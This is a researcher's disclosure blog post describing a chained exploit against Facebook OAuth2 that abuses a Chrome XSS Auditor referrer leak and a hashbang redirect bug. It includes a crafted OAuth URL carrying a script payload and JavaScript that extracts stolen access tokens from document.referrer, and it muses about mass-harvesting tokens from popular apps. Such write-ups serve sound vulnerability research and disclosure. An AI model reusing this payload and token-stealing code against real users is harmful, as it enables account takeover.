TL;DR We (me and
@isciurus) chained
several different bugs in Facebook, OAuth2 and Google Chrome to craft
an interesting exploit. MalloryPage can obtain your signed_request, code
and access token for any client_id you previously authorized on
Facebook. The flow is quite complicated so let me explain the bugs we
used.
1. in Google Chrome XSS Auditor, leaking document.referrer.
3 weeks ago I wrote
disclosure post on referrer leakage
for pages with X-XSS-Protection: '1;mode=block'. Please read the
original post to understand how it works. When Auditor blocks page, it
redirects to about:blank URL (about:blank always inherits parent's
origin). And we can access document.referrer containing
the previous URL Auditor just blocked.
Facebook had '1; mode=block' header. Now it's 0; because of us (Auditor
is dangerous, new vulns will be posted soon). Sadly, this bug report
was marked as sev=low by Chrome security team and no bounty granted.
It's not patched yet.
2. OAuth2 is... quite unsafe auth framework. Gigantic
attack surface, all parameters are passed in URL. I will write a
separate post about OAuth1 vs OAuth2 in a few weeks. Threat Model is
bigger than in official docs.
In August 2012 I wrote a lot about common vulnerabilities-by-design and
even proposed to fix it: OAuth2.a.
We used 2 bugs:
dynamic redirect_uri and dynamic response_type parameter.
response_type=code is the most secure authentication flow, because end
user never sees his access_token. But response_type is basically
a parameter in authorize URL. By replacing response_type=code to response_type=token,signed_request we receive both token and code on our redirect_uri.
redirect_uri can be not only app's domain, but
facebook.com domain is also allowed.
In our exploit we used
response_type=token,signed_request&redirect_uri=FB_PATH where
FB_PATH was a specially crafted URL to disclose these values...
3. location.hash disclosure on facebook.com
For response_type=token provider sends an access token
in location fragment (aka location.hash) to avoid data leaking via referrers (location.hash is never sent in referrers)
@isciurus
found a "bouncing" hashbang in September 2012.
The trick was: facebook removes '#' from URLs containing "#!" (AJAX
google indexation trick) , it boils down to copying location.hash into
URL and discloses access token in document.referrer.
Later, in January he just found another bypass of "fixed" vulnerability, using %23 instead of #.
Here we go - PoC, look at the source code.
cut_me Custom Payload we used to make Auditor to block the final page. We put it in the 'state' parameter
(used to prevent CSRF, you must know!)
target_app_id client_id we want to steal access_token and code
from. In "real world" exploit we would use 100-200 most popular Facebook
applications and just gather all the available tokens. It would be
awesome.
sensitive_info - tampering of response_type parameter: signed_request and token are Private Info we are going to leak through document.referrer
Now the final URL:
url = "http://www.facebook.com/dialog/oauth?client_id=" +
target_app_id + "&response_type="+
sensitive_info+"&display=none&domain=facebook.com&origin=1&redirect_uri=http%3A%2F%2Ffacebook.com%2F%23%2521%2Fconnect%2Fxd_arbiter%23%21%2Ffind-friends%2Fbrowser%3Fcb%3Df3d2e47528%26origin%3Dhttp%253A%252F%252Fdevelopers.facebook.com%252Ff3ee4a8818%26domain%3Dfacebook.com%26relation%3Dparent%26state%3D"+
cut_me+"&sdk=joey";
Value will look like:
http://www.facebook.com/dialog/oauth?client_id=111239619098&response_type=token%2Csigned_request&display=none&domain=facebook.com&origin=1&redirect_uri=http%3A%2F%2Ffacebook.com%2F%23%2521%2Fconnect%2Fxd_arbiter%23%21%2Ffind-friends%2Fbrowser%3Fcb%3Df3d2e47528%26origin%3Dhttp%253A%252F%252Fdevelopers.facebook.com%252Ff3ee4a8818%26domain%3Dfacebook.com%26relation%3Dparent%26state%3D%3Cscript%3Evar%20bigPipe%20%3D%20new%20(require('BigPipe'))(%7B%22lid%22%3A0%2C%22forceFinish%22%3Atrue%7D)%3B%3C%2Fscript%3E&sdk=joey
Steps:
1) We open 25 windows (this is maximum amount of allowed windows in Chrome) with different target_app_id.
Gotcha: Chrome DOES load the URL even if it blocks a window. This
makes exploit even cooler: we open 25 windows, all of them are blocked
but loaded, Auditor blocks Custom Payload, we grab document.referrer,
user is not scared at all.
2) If user previously authorized certain app_id he will be automatically redirected to
FB_PATH#...signed_request=SR&access_token=TOKEN&state=CUSTOM_PAYLOAD
3) Here Facebook javascript removes '#' from the URL and redirects user
to another
FB_PATH/...?signed_request=SR&access_token=TOKEN&state=CUSTOM_PAYLOAD
4) Now server responds with HTML page and
X-XSS-Protection: '1; mode=block'
header.
Chrome XSS Auditor detects state=CUSTOM_PAYLOAD in HTML code of response:
<script>var bigPipe = new (require('BigPipe'))({"lid":0,"forceFinish":true});</script>'
blocks and redirects to
about:blank
5) On MalloryPage we have setInterval which waits for location.href=='about:blank'.
about:blank inherits our MalloryPage origin - so we have access to document.referrer. Final routine:
playground.close();
clearInterval(int);
var ref =
playground.document.referrer;
window.token = ref.match(/token=([^\&]+)/)
if(window.token){
window.token = window.token[1];
document.write('<script src="https://graph.facebook.com/me?callback=hello&access_token='+
window.token+'"><'+'/script>');
}
var hello = function(data){
alert('Whats up '+data.name+" your token is "+window.token);
}
Voila! Using this exploit we can obtain code, signed_request and your access_token for any Client.
After party.
We are splitting $2500 + $2500 bounty from Facebook and working on new attacks.
You really must check the coming soon article I promised to write in a few weeks, explaining how broken OAuth2 is.
For example, if you authenticate users with Facebook it means any XSS on
your website can steal User's account. Currently I'm discussing and
proposing new ways to Facebook security team how to handle it and make
response_type=code more secure, because they are the biggest provider
and their decisions matter. If we don't fix it - it's The Road To Hell!
By the way there is another sev=medium vulnerability in Chrome Auditor, will be published as soon as it will be patched :)
from http://homakov.blogspot.de/